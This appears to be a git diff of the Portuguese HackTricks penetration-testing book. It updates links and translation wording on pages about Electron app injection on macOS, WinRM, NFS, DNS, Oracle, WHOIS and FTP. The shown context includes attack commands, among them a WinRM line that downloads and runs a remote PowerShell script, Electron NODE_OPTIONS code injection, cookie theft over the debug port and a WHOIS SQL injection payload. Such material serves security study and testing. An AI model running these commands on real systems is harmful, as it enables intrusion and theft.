diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index fb3efcc74..60a9a9df7 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -289,7 +289,7 @@
- [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
- [WinRM](windows-hardening/lateral-movement/winrm.md)
- [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
-- [Pivoting to the Cloud$$external:https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements$$]()
+- [Pivoting to the Cloud$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/index.html$$]()
- [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
- [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)
- [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md)
@@ -692,9 +692,9 @@
# ⛈️ Cloud Security
-- [Pentesting Kubernetes$$external:https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security$$]()
-- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology$$]()
-- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.xyz/pentesting-ci-cd/pentesting-ci-cd-methodology$$]()
+- [Pentesting Kubernetes$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/index.html$$]()
+- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/pentesting-cloud-methodology.html$$]()
+- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.wiki/en/pentesting-ci-cd/pentesting-ci-cd-methodology.html$$]()
# 😎 Hardware/Physical Access
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
index 3544de9e4..63c7e6c83 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@@ -1,20 +1,20 @@
-# Injeção de Aplicações Electron no macOS
+# macOS Electron Applications Injection
{{#include ../../../banners/hacktricks-training.md}}
## Informações Básicas
-Se você não sabe o que é Electron, pode encontrar [**muitas informações aqui**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Mas por enquanto, saiba apenas que o Electron executa **node**.\
-E o node tem alguns **parâmetros** e **variáveis de ambiente** que podem ser usados para **executar outro código** além do arquivo indicado.
+Se você não sabe o que é Electron, você pode encontrar [**muitas informações aqui**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Mas por enquanto, saiba apenas que o Electron executa **node**.\
+E o node tem alguns **parâmetros** e **variáveis de ambiente** que podem ser usados para **fazer com que ele execute outro código** além do arquivo indicado.
### Fuses do Electron
-Essas técnicas serão discutidas a seguir, mas nos últimos tempos o Electron adicionou várias **flags de segurança para preveni-las**. Essas são as [**Fuses do Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses) e estas são as usadas para **prevenir** que aplicativos Electron no macOS **carreguem código arbitrário**:
+Essas técnicas serão discutidas a seguir, mas nos últimos tempos o Electron adicionou várias **flags de segurança para preveni-las**. Essas são as [**Fuses do Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses) e são as usadas para **prevenir** que aplicativos Electron no macOS **carreguem código arbitrário**:
- **`RunAsNode`**: Se desativado, impede o uso da variável de ambiente **`ELECTRON_RUN_AS_NODE`** para injetar código.
- **`EnableNodeCliInspectArguments`**: Se desativado, parâmetros como `--inspect`, `--inspect-brk` não serão respeitados. Evitando assim a injeção de código.
- **`EnableEmbeddedAsarIntegrityValidation`**: Se ativado, o **`arquivo`** **`asar`** carregado será **validado** pelo macOS. **Prevenindo** assim a **injeção de código** ao modificar o conteúdo deste arquivo.
-- **`OnlyLoadAppFromAsar`**: Se isso estiver ativado, em vez de procurar carregar na seguinte ordem: **`app.asar`**, **`app`** e finalmente **`default_app.asar`**. Ele apenas verificará e usará app.asar, garantindo assim que, quando **combinado** com a fuse **`embeddedAsarIntegrityValidation`**, é **impossível** **carregar código não validado**.
+- **`OnlyLoadAppFromAsar`**: Se isso estiver ativado, em vez de procurar carregar na seguinte ordem: **`app.asar`**, **`app`** e finalmente **`default_app.asar`**. Ele apenas verificará e usará app.asar, garantindo assim que quando **combinado** com a fuse **`embeddedAsarIntegrityValidation`** é **impossível** **carregar código não validado**.
- **`LoadBrowserProcessSpecificV8Snapshot`**: Se ativado, o processo do navegador usa o arquivo chamado `browser_v8_context_snapshot.bin` para seu snapshot V8.
Outra fuse interessante que não estará prevenindo a injeção de código é:
@@ -41,16 +41,16 @@ LoadBrowserProcessSpecificV8Snapshot is Disabled
Como os [**docs mencionam**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), a configuração dos **Fuses do Electron** é configurada dentro do **binário do Electron**, que contém em algum lugar a string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**.
-Em aplicativos macOS, isso está tipicamente em `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
+Em aplicações macOS, isso está tipicamente em `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
```bash
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
```
-Você pode carregar este arquivo em [https://hexed.it/](https://hexed.it/) e procurar pela string anterior. Após esta string, você pode ver em ASCII um número "0" ou "1" indicando se cada fusível está desativado ou ativado. Basta modificar o código hex (`0x30` é `0` e `0x31` é `1`) para **modificar os valores dos fusíveis**.
+Você pode carregar este arquivo em [https://hexed.it/](https://hexed.it/) e procurar pela string anterior. Após essa string, você pode ver em ASCII um número "0" ou "1" indicando se cada fusível está desativado ou ativado. Basta modificar o código hex (`0x30` é `0` e `0x31` é `1`) para **modificar os valores dos fusíveis**.
-Note que se você tentar **sobrescrever** o **`Electron Framework` binary** dentro de um aplicativo com esses bytes modificados, o aplicativo não funcionará.
+Note que se você tentar **sobrescrever** o **`Electron Framework`** binário dentro de um aplicativo com esses bytes modificados, o aplicativo não funcionará.
## RCE adicionando código a Aplicações Electron
@@ -62,7 +62,7 @@ Pode haver **arquivos JS/HTML externos** que um App Electron está usando, entã
> - A permissão **`kTCCServiceSystemPolicyAppBundles`** é **necessária** para modificar um App, então por padrão isso não é mais possível.
> - O arquivo compilado **`asap`** geralmente tem os fusíveis **`embeddedAsarIntegrityValidation`** `e` **`onlyLoadAppFromAsar`** `ativados`
>
-> Tornando este caminho de ataque mais complicado (ou impossível).
+> Tornando esse caminho de ataque mais complicado (ou impossível).
Note que é possível contornar a exigência de **`kTCCServiceSystemPolicyAppBundles`** copiando o aplicativo para outro diretório (como **`/tmp`**), renomeando a pasta **`app.app/Contents`** para **`app.app/NotCon`**, **modificando** o arquivo **asar** com seu código **malicioso**, renomeando-o de volta para **`app.app/Contents`** e executando-o.
@@ -123,7 +123,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
```
> [!CAUTION]
-> Se o fusível **`EnableNodeOptionsEnvironmentVariable`** estiver **desativado**, o aplicativo **ignorar**á a variável de ambiente **NODE_OPTIONS** ao ser iniciado, a menos que a variável de ambiente **`ELECTRON_RUN_AS_NODE`** esteja definida, que também será **ignorada** se o fusível **`RunAsNode`** estiver desativado.
+> Se o fuse **`EnableNodeOptionsEnvironmentVariable`** estiver **desativado**, o aplicativo **ignorar**á a variável de ambiente **NODE_OPTIONS** ao ser iniciado, a menos que a variável de ambiente **`ELECTRON_RUN_AS_NODE`** esteja definida, que também será **ignorada** se o fuse **`RunAsNode`** estiver desativado.
>
> Se você não definir **`ELECTRON_RUN_AS_NODE`**, você encontrará o **erro**: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
@@ -169,11 +169,11 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
```
-Em [**este post do blog**](https://hackerone.com/reports/1274695), esse debugging é abusado para fazer um chrome headless **baixar arquivos arbitrários em locais arbitrários**.
+Em [**este blogpost**](https://hackerone.com/reports/1274695), esse debugging é abusado para fazer um chrome headless **baixar arquivos arbitrários em locais arbitrários**.
### Injeção do Plist do App
-Você poderia abusar dessa variável de ambiente em um plist para manter persistência adicionando essas chaves:
+Você poderia abusar dessa variável de ambiente em um plist para manter a persistência adicionando essas chaves:
```xml
ProgramArguments
@@ -190,7 +190,7 @@ Você poderia abusar dessa variável de ambiente em um plist para manter persist
## Bypass TCC abusando de Versões Antigas
> [!TIP]
-> O daemon TCC do macOS não verifica a versão executada do aplicativo. Portanto, se você **não conseguir injetar código em um aplicativo Electron** com qualquer uma das técnicas anteriores, você pode baixar uma versão anterior do APP e injetar código nela, pois ainda obterá as permissões do TCC (a menos que o Trust Cache impeça).
+> O daemon TCC do macOS não verifica a versão executada do aplicativo. Portanto, se você **não conseguir injetar código em um aplicativo Electron** com nenhuma das técnicas anteriores, você pode baixar uma versão anterior do APP e injetar código nela, pois ainda obterá as permissões do TCC (a menos que o Trust Cache impeça).
## Executar Código não JS
diff --git a/src/network-services-pentesting/113-pentesting-ident.md b/src/network-services-pentesting/113-pentesting-ident.md
index 3fadc642c..a37210ff4 100644
--- a/src/network-services-pentesting/113-pentesting-ident.md
+++ b/src/network-services-pentesting/113-pentesting-ident.md
@@ -4,7 +4,7 @@
## Informações Básicas
-O **Protocolo Ident** é usado na **Internet** para associar uma **conexão TCP** a um usuário específico. Originalmente projetado para ajudar na **gestão de rede** e **segurança**, ele opera permitindo que um servidor consulte um cliente na porta 113 para solicitar informações sobre o usuário de uma determinada conexão TCP.
+O **Protocolo Ident** é usado sobre a **Internet** para associar uma **conexão TCP** a um usuário específico. Originalmente projetado para ajudar na **gestão de rede** e **segurança**, ele opera permitindo que um servidor consulte um cliente na porta 113 para solicitar informações sobre o usuário de uma determinada conexão TCP.
No entanto, devido a preocupações modernas com a privacidade e o potencial de uso indevido, seu uso diminuiu, pois pode inadvertidamente revelar informações do usuário a partes não autorizadas. Medidas de segurança aprimoradas, como conexões criptografadas e controles de acesso rigorosos, são recomendadas para mitigar esses riscos.
@@ -78,7 +78,7 @@ Description: Notes for Ident
Note: |
The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection.
-https://book.hacktricks.xyz/pentesting/113-pentesting-ident
+https://book.hacktricks.wiki/en/network-services-pentesting/113-pentesting-ident.html
Entry_2:
Name: Enum Users
diff --git a/src/network-services-pentesting/137-138-139-pentesting-netbios.md b/src/network-services-pentesting/137-138-139-pentesting-netbios.md
index 66707e5e1..e2b2f1166 100644
--- a/src/network-services-pentesting/137-138-139-pentesting-netbios.md
+++ b/src/network-services-pentesting/137-138-139-pentesting-netbios.md
@@ -27,7 +27,7 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n
```
### Serviço de Distribuição de Datagramas
-Datagramas NetBIOS permitem comunicação sem conexão via UDP, suportando mensagens diretas ou transmissão para todos os nomes da rede. Este serviço utiliza a porta **138/udp**.
+Datagramas NetBIOS permitem comunicação sem conexão via UDP, suportando mensagens diretas ou transmissão para todos os nomes de rede. Este serviço utiliza a porta **138/udp**.
```bash
PORT STATE SERVICE VERSION
138/udp open|filtered netbios-dgm
@@ -65,7 +65,7 @@ Session service for connection-oriented communication (port: 139/tcp).
For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address.
-https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios
+https://book.hacktricks.wiki/en/network-services-pentesting/137-138-139-pentesting-netbios.html
Entry_2:
Name: Find Names
diff --git a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md
index a6f6379df..03304a4a5 100644
--- a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md
+++ b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md
@@ -4,7 +4,7 @@
## Informações Básicas
-O banco de dados Oracle (Oracle DB) é um sistema de gerenciamento de banco de dados relacional (RDBMS) da Oracle Corporation (a partir de [aqui](https://www.techopedia.com/definition/8711/oracle-database)).
+O banco de dados Oracle (Oracle DB) é um sistema de gerenciamento de banco de dados relacional (RDBMS) da Oracle Corporation (de [aqui](https://www.techopedia.com/definition/8711/oracle-database)).
Ao enumerar o Oracle, o primeiro passo é se comunicar com o TNS-Listener que geralmente reside na porta padrão (1521/TCP, -você também pode encontrar listeners secundários em 1522–1529-).
```
@@ -19,7 +19,7 @@ Ao enumerar o Oracle, o primeiro passo é se comunicar com o TNS-Listener que ge
4. **Bruteforce de Credenciais**: Tentar acessar o SID descoberto.
5. **Execução de Código**: Tentar executar código no sistema.
-Para usar os módulos oracle do MSF, você precisa instalar algumas dependências: [**Instalação**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md)
+Para usar os módulos do MSF oracle, você precisa instalar algumas dependências: [**Instalação**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md)
## Posts
@@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
for more details check https://github.com/quentinhardy/odat/wiki
-https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
+https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2:
Name: Nmap
diff --git a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md
index 8302d1da2..7e223673e 100644
--- a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md
+++ b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md
@@ -4,7 +4,7 @@
## Informações Básicas
-O banco de dados Oracle (Oracle DB) é um sistema de gerenciamento de banco de dados relacional (RDBMS) da Oracle Corporation (de [aqui](https://www.techopedia.com/definition/8711/oracle-database)).
+O banco de dados Oracle (Oracle DB) é um sistema de gerenciamento de banco de dados relacional (RDBMS) da Oracle Corporation (a partir de [aqui](https://www.techopedia.com/definition/8711/oracle-database)).
Ao enumerar o Oracle, o primeiro passo é se comunicar com o TNS-Listener que geralmente reside na porta padrão (1521/TCP, -você também pode encontrar listeners secundários em 1522–1529-).
```
@@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
for more details check https://github.com/quentinhardy/odat/wiki
-https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
+https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2:
Name: Nmap
diff --git a/src/network-services-pentesting/43-pentesting-whois.md b/src/network-services-pentesting/43-pentesting-whois.md
index f77fb07c3..19f8185ec 100644
--- a/src/network-services-pentesting/43-pentesting-whois.md
+++ b/src/network-services-pentesting/43-pentesting-whois.md
@@ -18,11 +18,11 @@ Obtenha todas as informações que um serviço whois possui sobre um domínio:
whois -h -p "domain.tld"
echo "domain.ltd" | nc -vn
```
-Observe que às vezes, ao solicitar informações a um serviço WHOIS, o banco de dados utilizado aparece na resposta:
+Note que às vezes, ao solicitar informações a um serviço WHOIS, o banco de dados utilizado aparece na resposta:
.png>)
-Além disso, o serviço WHOIS sempre precisa usar um **banco de dados** para armazenar e extrair as informações. Assim, uma possível **SQLInjection** pode estar presente ao **consultar** o banco de dados com algumas informações fornecidas pelo usuário. Por exemplo, ao fazer: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` você poderia **extrair todas** as **informações** salvas no banco de dados.
+Além disso, o serviço WHOIS sempre precisa usar um **banco de dados** para armazenar e extrair as informações. Portanto, uma possível **SQLInjection** pode estar presente ao **consultar** o banco de dados com algumas informações fornecidas pelo usuário. Por exemplo, ao fazer: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` você poderia **extrair todas** as **informações** salvas no banco de dados.
## Shodan
@@ -41,7 +41,7 @@ Note: |
The WHOIS protocol serves as a standard method for inquiring about the registrants or holders of various Internet resources through specific databases. These resources encompass domain names, blocks of IP addresses, and autonomous systems, among others. Beyond these, the protocol finds application in accessing a broader spectrum of information.
-https://book.hacktricks.xyz/pentesting/pentesting-smtp
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: Banner Grab
diff --git a/src/network-services-pentesting/5439-pentesting-redshift.md b/src/network-services-pentesting/5439-pentesting-redshift.md
index 6e7f46b96..668b12c45 100644
--- a/src/network-services-pentesting/5439-pentesting-redshift.md
+++ b/src/network-services-pentesting/5439-pentesting-redshift.md
@@ -9,7 +9,7 @@ Esta porta é usada pelo **Redshift** para funcionar. É basicamente uma variaç
Para mais informações, consulte:
{{#ref}}
-https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
+https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.html
{{#endref}}
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md
index 3b05515d3..12296cd31 100644
--- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md
+++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md
@@ -6,7 +6,7 @@
[Windows Remote Management (WinRM)]() é destacado como um **protocolo da Microsoft** que permite a **gerência remota de sistemas Windows** através de HTTP(S), aproveitando o SOAP no processo. É fundamentalmente alimentado pelo WMI, apresentando-se como uma interface baseada em HTTP para operações WMI.
-A presença do WinRM em uma máquina permite uma administração remota simples via PowerShell, semelhante ao funcionamento do SSH em outros sistemas operacionais. Para determinar se o WinRM está operacional, é recomendável verificar a abertura de portas específicas:
+A presença do WinRM em uma máquina permite uma administração remota simples via PowerShell, semelhante ao funcionamento do SSH para outros sistemas operacionais. Para determinar se o WinRM está operacional, é recomendável verificar a abertura de portas específicas:
- **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)**
@@ -56,17 +56,17 @@ Você também pode **executar um comando do seu console PS atual via** _**Invoke
```powershell
Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
-### Executar um Script
+### Execute um Script
```powershell
Invoke-Command -ComputerName -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
-### Obter reverse-shell
+### Obter shell reverso
```powershell
Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### Obter uma sessão PS
-Para obter um shell PowerShell interativo, use `Enter-PSSession`:
+Para obter um shell interativo do PowerShell, use `Enter-PSSession`:
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
@@ -115,7 +115,7 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
Se você encontrar o seguinte erro:
-`enter-pssession : Conectando ao servidor remoto 10.10.10.175 falhou com a seguinte mensagem de erro : O cliente WinRM não pode processar a solicitação. Se o esquema de autenticação for diferente de Kerberos, ou se o computador cliente não estiver associado a um domínio, então o transporte HTTPS deve ser usado ou a máquina de destino deve ser adicionada à configuração TrustedHosts. Use winrm.cmd para configurar TrustedHosts. Observe que os computadores na lista TrustedHosts podem não estar autenticados. Você pode obter mais informações sobre isso executando o seguinte comando: winrm help config. Para mais informações, consulte o tópico de ajuda about_Remote_Troubleshooting.`
+`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
A tentativa no cliente (informações de [aqui](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
@@ -142,7 +142,7 @@ crackmapexec winrm -d -u -H -X '$PSVersionT
```ruby
gem install evil-winrm
```
-Leia a **documentação** em seu github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
+Leia **documentação** em seu github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i /
```
@@ -160,7 +160,7 @@ docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
-### Usando um script em ruby
+### Usando um script Ruby
**Código extraído daqui:** [**https://alamot.github.io/winrm_shell/**](https://alamot.github.io/winrm_shell/)
```ruby
@@ -254,7 +254,7 @@ s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
-https://book.hacktricks.xyz/pentesting/pentesting-winrm
+https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html
Entry_2:
Name: Hydra Brute Force
diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md
index 10577d1d6..d0b2fa4d2 100644
--- a/src/network-services-pentesting/nfs-service-pentesting.md
+++ b/src/network-services-pentesting/nfs-service-pentesting.md
@@ -8,7 +8,7 @@
Um aspecto notável deste protocolo é a sua falta de **mecanismos de autenticação** ou **autorização** integrados. Em vez disso, a autorização depende das **informações do sistema de arquivos**, com o servidor encarregado de traduzir com precisão as **informações do usuário fornecidas pelo cliente** no formato de **autorização** exigido pelo sistema de arquivos, seguindo principalmente a **sintaxe UNIX**.
-A autenticação geralmente depende de **identificadores `UID`/`GID` do UNIX e associações a grupos**. No entanto, um desafio surge devido ao potencial descompasso nas **mapeações `UID`/`GID`** entre clientes e servidores, não deixando espaço para verificação adicional pelo servidor. Consequentemente, o protocolo é mais adequado para uso em **redes confiáveis**, dado sua dependência desse método de autenticação.
+A autenticação geralmente depende de **identificadores `UID`/`GID` do UNIX e associações de grupos**. No entanto, um desafio surge devido ao potencial descompasso nas **mapeações `UID`/`GID`** entre clientes e servidores, não deixando espaço para verificação adicional pelo servidor. Consequentemente, o protocolo é mais adequado para uso em **redes confiáveis**, dado sua dependência desse método de autenticação.
**Porta padrão**: 2049/TCP/UDP (exceto a versão 4, que precisa apenas de TCP ou UDP).
```
@@ -16,7 +16,7 @@ A autenticação geralmente depende de **identificadores `UID`/`GID` do UNIX e a
```
### Versões
-- **NFSv2**: Esta versão é reconhecida por sua ampla compatibilidade com vários sistemas, marcando sua importância com operações iniciais predominantemente sobre UDP. Sendo a **mais antiga** da série, estabeleceu as bases para desenvolvimentos futuros.
+- **NFSv2**: Esta versão é reconhecida por sua ampla compatibilidade com vários sistemas, marcando sua importância com operações iniciais predominantemente sobre UDP. Sendo a **mais antiga** da série, ela lançou as bases para desenvolvimentos futuros.
- **NFSv3**: Introduzido com uma série de melhorias, o NFSv3 expandiu seu predecessor ao suportar tamanhos de arquivos variáveis e oferecer mecanismos de relatórios de erros aprimorados. Apesar de seus avanços, enfrentou limitações em plena compatibilidade retroativa com clientes NFSv2.
@@ -46,7 +46,7 @@ Então monte-o usando:
```bash
mount -t nfs [-o vers=2] : -o nolock
```
-Você deve especificar para **usar a versão 2** porque ela não tem **nenhuma** **autenticação** ou **autorização**.
+Você deve especificar para **usar a versão 2** porque ela não possui **nenhuma** **autenticação** ou **autorização**.
**Exemplo:**
```bash
@@ -59,7 +59,7 @@ Se você montar uma pasta que contém **arquivos ou pastas acessíveis apenas po
## NSFShell
-Para listar, montar e mudar UID e GID facilmente para ter acesso a arquivos, você pode usar [nfsshell](https://github.com/NetDirect/nfsshell).
+Para listar, montar e mudar facilmente o UID e GID para ter acesso a arquivos, você pode usar [nfsshell](https://github.com/NetDirect/nfsshell).
[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
@@ -72,7 +72,7 @@ Para listar, montar e mudar UID e GID facilmente para ter acesso a arquivos, voc
- **Permissões de Leitura e Escrita (`rw`):** Esta configuração permite tanto a leitura quanto a escrita no sistema de arquivos. É essencial considerar as implicações de conceder acesso tão amplo.
-- **Uso de Portas Inseguras (`insecure`):** Quando ativado, isso permite que o sistema utilize portas acima de 1024. A segurança das portas acima desse intervalo pode ser menos rigorosa, aumentando o risco.
+- **Uso de Portas Inseguras (`insecure`):** Quando habilitado, isso permite que o sistema utilize portas acima de 1024. A segurança das portas acima desse intervalo pode ser menos rigorosa, aumentando o risco.
- **Visibilidade de Sistemas de Arquivos Aninhados (`nohide`):** Esta configuração torna diretórios visíveis mesmo que outro sistema de arquivos esteja montado abaixo de um diretório exportado. Cada diretório requer sua própria entrada de exportação para gerenciamento adequado.
@@ -80,7 +80,7 @@ Para listar, montar e mudar UID e GID facilmente para ter acesso a arquivos, voc
- **Não Squashing de Todos os Usuários (`no_all_squash`):** Esta opção garante que as identidades dos usuários sejam preservadas em todo o sistema, o que pode levar a problemas de permissão e controle de acesso se não for tratado corretamente.
-## Escalada de Privilégios usando configurações incorretas do NFS
+## Escalada de Privilégios usando Configurações Incorretas do NFS
[NFS no_root_squash e no_all_squash escalada de privilégios](../linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md)
@@ -104,7 +104,7 @@ mount -t nfs -o ver=2 10.10.10.180:/home /mnt/
cd /mnt
nano into /etc/passwd and change the uid (probably 1000 or 1001) to match the owner of the files if you are not able to get in
-https://book.hacktricks.xyz/pentesting/nfs-service-pentesting
+https://book.hacktricks.wiki/en/network-services-pentesting/nfs-service-pentesting.html
Entry_2:
Name: Nmap
diff --git a/src/network-services-pentesting/pentesting-dns.md b/src/network-services-pentesting/pentesting-dns.md
index 1ff592c65..d38311ce9 100644
--- a/src/network-services-pentesting/pentesting-dns.md
+++ b/src/network-services-pentesting/pentesting-dns.md
@@ -40,7 +40,7 @@ Também é possível capturar o banner com um script **nmap**:
```
### **Qualquer registro**
-O registro **ANY** pedirá ao servidor DNS para **retornar** todas as **entradas** disponíveis que **está disposto a divulgar**.
+O registro **ANY** solicitará ao servidor DNS que **retorne** todas as **entradas** disponíveis que **está disposto a divulgar**.
```bash
dig any victim.com @
```
@@ -95,7 +95,7 @@ dnsrecon -r /24 -n #DNS reverse of all of the addresses
dnsrecon -d active.htb -a -n #Zone transfer
```
> [!NOTE]
-> Se você conseguir encontrar subdomínios resolvendo para endereços IP internos, deve tentar realizar um ataque de força bruta reverso de DNS nos NSs do domínio solicitando aquele intervalo de IP.
+> Se você conseguir encontrar subdomínios resolvendo para endereços IP internos, deve tentar realizar um ataque de força bruta reverso de DNS para os NSs do domínio solicitando aquele intervalo de IP.
Outra ferramenta para isso: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
@@ -130,7 +130,7 @@ Força bruta usando requisições "AAAA" para coletar IPv6 dos subdomínios.
```bash
dnsdict6 -s -t
```
-Força bruta de DNS reverso usando endereços IPv6
+Forçar reverso DNS usando endereços IPv6
```bash
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
```
@@ -196,7 +196,7 @@ SERVER {IP}
Domain_Name
exit
-https://book.hacktricks.xyz/pentesting/pentesting-dns
+https://book.hacktricks.wiki/en/todo/pentesting-dns.html
Entry_2:
Name: Banner Grab
diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md
index b322bf40c..54b63b70f 100644
--- a/src/network-services-pentesting/pentesting-ftp/README.md
+++ b/src/network-services-pentesting/pentesting-ftp/README.md
@@ -5,7 +5,7 @@
## Informações Básicas
O **File Transfer Protocol (FTP)** serve como um protocolo padrão para transferência de arquivos em uma rede de computadores entre um servidor e um cliente.\
-É um protocolo **em texto simples** que usa como **caractere de nova linha `0x0d 0x0a`**, então às vezes você precisa **conectar usando `telnet`** ou **`nc -C`**.
+É um protocolo **em texto simples** que usa como **caractere de nova linha `0x0d 0x0a`** então às vezes você precisa **conectar usando `telnet`** ou **`nc -C`**.
**Porta Padrão:** 21
```
@@ -101,11 +101,11 @@ ftp
```
### [Força bruta](../../generic-hacking/brute-force.md#ftp)
-Aqui você pode encontrar uma boa lista com credenciais FTP padrão: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
+Aqui você pode encontrar uma boa lista com credenciais padrão de ftp: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
### Automatizado
